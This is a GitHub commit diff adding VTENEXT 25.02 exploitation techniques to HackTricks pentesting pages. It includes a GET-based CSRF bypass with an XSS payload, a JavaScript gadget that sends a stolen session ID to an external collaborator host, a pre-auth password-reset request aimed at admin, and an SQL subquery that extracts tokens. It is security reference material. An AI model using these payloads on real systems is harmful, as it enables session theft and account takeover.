Skip to content

Commit 7d05801

Browse files
author
HackTricks News Bot
committed
Add content from: VTENEXT 25.02 – a three-way path to RCE
1 parent 2c09db2 commit 7d05801

5 files changed

Lines changed: 125 additions & 10 deletions

File tree

src/pentesting-web/csrf-cross-site-request-forgery.md

Lines changed: 33 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,39 @@ Understanding and implementing these defenses is crucial for maintaining the sec
3737

3838
## Defences Bypass
3939

40-
### From POST to GET
40+
### From POST to GET (method-conditioned CSRF validation bypass)
4141

42-
Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
42+
Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
43+
44+
```php
45+
public function csrf_check($fatal = true) {
46+
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
47+
// ... validate __csrf_token here ...
48+
}
49+
```
50+
51+
If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
52+
53+
Example:
54+
55+
- Original POST with token (intended):
56+
57+
```http
58+
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
59+
Content-Type: application/x-www-form-urlencoded
60+
61+
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
62+
```
63+
64+
- Bypass by switching to GET (no token):
65+
66+
```http
67+
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
68+
```
69+
70+
Notes:
71+
- This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json.
72+
- Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely.
4373

4474
### Lack of token
4575

@@ -684,9 +714,6 @@ with open(PASS_LIST, "r") as f:
684714
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
685715
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
686716
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
687-
688-
717+
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
689718

690719
{{#include ../banners/hacktricks-training.md}}
691-
692-

src/pentesting-web/file-inclusion/README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -691,7 +691,7 @@ lfi2rce-via-temp-file-uploads.md
691691

692692
### Via `pearcmd.php` + URL args
693693

694-
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
694+
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
695695

696696
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
697697

@@ -750,6 +750,9 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
750750
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
751751
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
752752
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
753+
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
754+
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
755+
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
753756

754757
{{#file}}
755758
EN-Local-File-Inclusion-1.pdf

src/pentesting-web/hacking-with-cookies/README.md

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,15 @@ cookie-jar-overflow.md
7070
{{#endref}}
7171

7272
- It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies
73+
- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:
74+
75+
```js
76+
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
77+
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
78+
fetch('/index.php?module=Touch&action=ws')
79+
.then(r => r.text())
80+
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
81+
```
7382

7483
### Secure
7584

@@ -327,7 +336,9 @@ There should be a pattern (with the size of a used block). So, knowing how are a
327336
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
328337
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
329338
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
339+
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
340+
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
341+
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
330342

331343
{{#include ../../banners/hacktricks-training.md}}
332344

333-

src/pentesting-web/reset-password.md

Lines changed: 41 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -247,10 +247,50 @@ uuid-insecurities.md
247247
print("[+] Attck stopped")
248248
```
249249

250+
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
251+
252+
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
253+
254+
Vulnerable pattern (PHP):
255+
256+
```php
257+
// hub/rpwd.php
258+
RequestHandler::validateCSRFToken();
259+
$RP = new RecoverPwd();
260+
$RP->process($_REQUEST, $_POST);
261+
262+
// modules/Users/RecoverPwd.php
263+
if ($request['action'] == 'change_password') {
264+
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
265+
}
266+
267+
public function displayChangePwd($smarty, $username, $newpwd) {
268+
$current_user = CRMEntity::getInstance('Users');
269+
$current_user->id = $current_user->retrieve_user_id($username);
270+
// ... criteria checks omitted ...
271+
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
272+
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
273+
}
274+
```
275+
276+
Exploitation request (concept):
277+
278+
```http
279+
POST /hub/rpwd.php HTTP/1.1
280+
Content-Type: application/x-www-form-urlencoded
281+
282+
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
283+
```
284+
285+
Mitigations:
286+
- Always require a valid, time-bound reset token bound to the account and session before changing a password.
287+
- Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password.
288+
- Invalidate all active sessions and reset tokens after a password change.
289+
250290
## References
251291

252292
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
293+
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
253294

254295
{{#include ../banners/hacktricks-training.md}}
255296

256-

src/pentesting-web/sql-injection/README.md

Lines changed: 35 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -621,6 +621,37 @@ Or using a **comma bypass**:
621621
622622
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
623623
624+
### Column/tablename injection in SELECT list via subqueries
625+
626+
If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is:
627+
628+
```php
629+
// Pseudocode
630+
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
631+
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
632+
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
633+
$stmt = $db->pquery($q, [$rec_id]);
634+
```
635+
636+
Exploitation idea: inject a subquery into the field position to exfiltrate arbitrary data:
637+
638+
```sql
639+
-- Legit
640+
SELECT user_name FROM vte_users WHERE id=1;
641+
642+
-- Injected subquery to extract a sensitive value (e.g., password reset token)
643+
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
644+
```
645+
646+
Notes:
647+
- This works even when the WHERE clause uses a bound parameter, because the identifier list is still string-concatenated.
648+
- Some stacks additionally let you control the table name (tablename injection), enabling cross-table reads.
649+
- Output sinks may reflect the selected value into HTML/JSON, allowing XSS or token exfiltration directly from the response.
650+
651+
Mitigations:
652+
- Never concatenate identifiers from user input. Map allowed column names to a fixed allow-list and quote identifiers properly.
653+
- If dynamic table access is required, restrict to a finite set and resolve server-side from a safe mapping.
654+
624655
### WAF bypass suggester tools
625656
626657
@@ -640,5 +671,8 @@ https://github.com/m4ll0k/Atlas
640671
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
641672
{{#endref}}
642673
643-
674+
## References
675+
676+
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
677+
644678
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)